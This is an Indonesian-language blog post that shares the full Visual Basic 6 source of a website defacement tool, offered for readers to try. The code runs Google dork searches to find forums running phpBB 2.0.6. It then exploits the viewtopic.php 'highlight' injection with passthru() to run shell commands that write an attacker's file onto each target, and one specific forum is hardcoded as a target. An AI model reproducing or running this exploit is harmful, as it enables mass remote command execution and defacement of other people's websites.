Gomenasai….
Lama ga posting huh.Bagi yang udah nunggu maaf ya kelamaan. Dishare aja kodenya bareng-bareng ga lewat email. OK fren.Lanjut…
Desain software seperti ini :
Kodenya ini :
—————————————————————————————-
Option Explicit
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Dim bStop As Boolean
Private Sub cmdCari_Click()
Dim i As Integer, sSite As String
lstServer.Clear
Select Case cmdCari.Caption
Case "Cari Server"
bStop = False
cmdCari.Caption = "Batalkan Pencarian"
For i = 1 To Val(cboHal.Text)
If bStop Then Exit For
lblstatus.Caption = "Dalam Pencarian... Tunggu Bung.."
DoEvents
sSite = GetSiteContent("http://www.google.co.id/search?hl=id&q=intext:Powered+by+phpBB+2.0.6&num=" & cboLink.Text & "&start=" & ((i - 1) * Val(cboLink.Text)))
If Len(sSite) Then GetURLs sSite
Next
cmdCari.Caption = "Cari Server"
lblstatus.Caption = vbNullString
MsgBox "Pencarian Selesai", vbInformation
If lstServer.ListCount > 0 Then lblstatus.Caption = "Pilih Server dari Daftar"
Case "Batalkan Pencarian"
bStop = True
End Select
End Sub
Private Sub cmdDeface_Click()
Dim sSite As String
Dim nmfile As String
Dim isifile As String
Dim url As String
Dim urlInject As String
Dim x, y
Dim site1 As String
Dim site2 As String
Dim i As Integer
On Error GoTo cmdDeface_Click_Error
nmfile = txtnmfile.Text
isifile = "echo " & """" & txtisifile.Text & """" & "> " & isifile
url = ""
lblstatus.Caption = "Site sedang di DEFACE...."
If chk1.Value = True Then
If opt1.Value = True Then
url = "http://www.mohid.com/forum/" & nmfile
sSite = GetSiteContent("www.mohib.com/forum/viewtopic.php?t=41&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=" & isifile)
End If
Else
x = Split(lstServer.List(lstServer.ListIndex), ".php?")
y = Split(x(0), "/")
For i = 2 To UBound(y) - 1
url = url & "/" & y(i)
Next
urlInject = "http:/" & url & "/viewtopic.php?t=4&highlight=%2527.passthru($HTTP_GET_VARS[a]).%2527&a=" & isifile
url = "http:/" & url & "/" & isifile
sSite = GetSiteContent(urlInject)
End If
lblstatus.Caption = "Cek hasilnya di " & url & ". Jika muncul seperti yang diketik, tandanya berhasil"
On Error GoTo 0
Exit Sub
cmdDeface_Click_Error:
MsgBox "Error " & Err.Number & " (" & Err.Description & ") in procedure cmdDeface_Click of Form Form1"
End Sub
Private Sub Form_Load()
cboHal.AddItem "1"
cboHal.AddItem "2"
cboHal.AddItem "3"
cboHal.AddItem "4"
cboHal.AddItem "5"
cboHal.AddItem "6"
cboHal.AddItem "7"
cboHal.AddItem "8"
cboHal.AddItem "9"
cboHal.AddItem "10"
cboLink.AddItem "1"
cboLink.AddItem "2"
cboLink.AddItem "3"
cboLink.AddItem "4"
cboLink.AddItem "5"
cboLink.AddItem "6"
cboLink.AddItem "7"
cboLink.AddItem "8"
cboLink.AddItem "9"
cboLink.AddItem "10"
End Sub
Private Function GetSiteContent(ByVal sURL As String)
On Error GoTo jut
Dim sBuffer As String, sResult As String
With Inet1
.Execute sURL, "GET", , "User-Agent:Neomedia/5.0 (Windows; U; Windows NT 5.1;de; rv:1.8.1.3) T-Rex/20070309 Firefly/2.0.0.3"
While .StillExecuting
DoEvents
Wend
Do
DoEvents
sBuffer = .GetChunk(1024, icString)
sResult = sResult & sBuffer
Loop While Len(sBuffer)
GetSiteContent = sResult
End With
Exit Function
jut:
GetSiteContent = vbNullString
End Function
Private Sub GetURLs(ByVal sText As String)
Dim lPos As Long, lStartPos As Long, lEndPos As Long, sFound As String
If Len(sText) Then
Do
lPos = InStr(lPos + 1, LCase$(sText), "href=" & Chr$(34))
If lPos Then
lStartPos = lPos + 6
lPos = InStr(lStartPos + 1, sText, Chr$(34))
If lPos Then
lEndPos = lPos
sFound = Mid$(sText, lStartPos, lEndPos - lStartPos)
If ResultLink(sFound) And Not InList(sFound) Then lstServer.AddItem sFound
End If
End If
Loop While lPos
End If
End Sub
Private Function ResultLink(ByVal sURL As String)
If InStr(1, Left$(sURL, 12), "://") And InStr(1, sURL, "accounts/Login?continue") = 0 And InStr(1, sURL, "news.google") = 0 And InStr(1, sURL, "froogle.google") = 0 And InStr(1, sURL, "translate.google") = 0 And InStr(1, sURL, "video.google") = 0 And InStr(1, sURL, "blogsearch.google") = 0 And InStr(1, sURL, "books.google") = 0 And InStr(1, sURL, "maps.google") = 0 And InStr(1, sURL, "search?q=cache") = 0 And InStr(1, sURL, "patents?q=") = 0 Then ResultLink = True
End Function
Private Function InList(sText As String) As Boolean
InList = IIf(SendMessage(lstServer.hwnd, &H1A2, -1, sText) = -1, False, True)
End Function
Selamat Mencoba…
Having Fun….
Komentar Teman